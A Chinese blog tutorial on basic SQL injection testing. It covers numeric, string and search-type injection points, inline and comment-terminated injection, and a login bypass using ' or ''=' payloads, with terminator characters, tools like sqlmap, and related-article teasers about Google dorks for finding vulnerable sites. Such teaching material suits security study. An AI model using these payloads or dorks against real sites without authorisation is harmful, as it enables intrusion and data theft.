当前位置:首页 > web渗透 > sql注入 > 正文内容

sql注入简单测试

7个月前 (11-08)975

最简单的测试

http://localhost/test.php?id=15’ 返回错误
http://localhost/test.php?id=15 and 1=1 返回正常 
http://localhost/test.php?id=15 and 1=2 返回错误

SQL注入攻击过程
判断注入点
判断注入点类型
判断数据库类型
获取数据库数据库,提权

三种注入类型测试方法:
一:数字型
测试方法:
http://host/test.php?id=15 and 1=1
返回成功
http://host/test.php?id=15 and 1=2
返回失败
产生原因: 
sqlstr =“select * from news where id =”+ request.getParameter("id")

二:字符型
测试方法:
http://host/test. php?name=rainman' and ‘1'='1 返回成功

http://host/test.php?name=rainman' and '1'='2 返回失败
产生原因:
sqlstr =“select * from news where id=“”+request.getParameter("name") +”

三:搜索型

测试方法:
http://host/test. php' ?keyword=test%' and‘%'='
返回test查询相同结果
http://host/test.php?id=test%' and‘%'='
返回少于test查询结果的内容
产生原因:
sqlstr =“select * from news where keyword like‘%”+request. getParameter("keyword") +”%”

判断注入方式:

内联式SQL注入

内联注入是指查询注入SQL代码后,原来的查询仍然全部执行

Sqlstr =“select * from admin where username ='+username+" and password = "+password+""

username =“or“=”
password=“or“=”

终止式SQL注入

终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。被注释的查询不会被执行

Sqlstr =“select * from admin where username = "+username+'and password = "password+""
username =“or“=”--“
password =“any string"
常见的终止方式
终止字符串: -,#,%23, %00,/*
终止方法: -----,)-.)--))--


触发SQL注入

所有的输入只要和数据库进行交互的,都有可能触发SQL注入常见的包括:
1. Get参数触发SQL注入
2. POST参数触发SQL注入
3. Cookie触发SQL注入
4.其他参与sq|执行的输入都有可能进行SQL注入


手工测试工具

burp suite

sq8.jpghackbar

sq9.jpg自动化注入工具 sqlmap

sq7.jpg

扫描二维码推送至手机访问。

版权声明:本文由零零博客发布,如需转载请注明出处。

分享给朋友:

相关文章

什么是SQL盲注

什么是SQL盲注

盲注是指在无法使用详细数据库错消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的攻击技术如果设计出了完整的查询(包括所有的相关的列及类型) ,带内数据...

常见的盲注环境

常见的盲注环境

提交一个导致SQL查询无效的利用是会返回一个通用错误页面,而提交正确的SQL时则返回一个内容可被适度控制的页面提交一个导致SQL查询无效的利用时会返回一个通用的错误页面,而提交正确的SQL时则会返回-...

实战|SQL漏洞实战挖掘技巧

实战|SQL漏洞实战挖掘技巧

信息收集这里先给大家推荐几个谷歌hack语法用来批量挖掘sql漏洞的。inurl:/search_results.php search=inurl:’Product.asp?BigClassNamei...

怎么判断数据库类型

怎么判断数据库类型

想要成功的发动SQL注入攻击,最重要的是知道应用正在使用的数据库类型和版本。没有这一信息就不可能向查询注入信息并提取自己所感兴趣的数据,正所谓知己知彼百战百胜。一:常见构架判断数据库类型asp&nbs...

sql注入是什么

sql注入是什么

sql注入是一种将sql代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。凡是构造SQL语句的步骤均存在被潜在攻击的风险,因为sql的多样性和构造时使用的...